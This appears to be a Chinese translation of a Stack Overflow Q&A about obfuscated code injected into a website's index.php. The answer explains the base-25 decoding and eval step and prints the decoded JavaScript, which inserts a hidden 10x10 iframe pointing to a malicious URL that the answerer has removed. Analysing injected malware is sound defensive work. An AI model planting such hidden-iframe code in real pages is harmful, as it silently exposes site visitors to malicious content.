我的一个 friend 的网站被列为恶意网站,我们发现一些混淆代码在他不知情的情况下被注入(inject)到他的 index.php 中。我对代码进行了两级反混淆,发现了这一点:
(code can be viewed in the edit history)
谁能告诉我它想做什么以及为什么它是恶意的......?
最佳答案
总而言之,代码“解码”了放置 <iframe>
的 HTML在恶意 URL 中加载。
以下行具有“编码”的 HTML:
n = ["9","9","45","42", ...
每个数字代表一个以 base-25 为基数的字符。代码将遍历此数组并使用 javascript 的 String.fromCharCode()
将其转换为 ASCII 字符。毕竟这一切,它将eval()
将其放置在页面上。
“解码”的 javascript 是:
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='[stripped]' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','[stripped]');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
请注意,出于安全目的,我已从代码中删除了恶意 URL。
关于javascript - 为什么这个混淆代码在 JavaScript 中是恶意的?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13313287/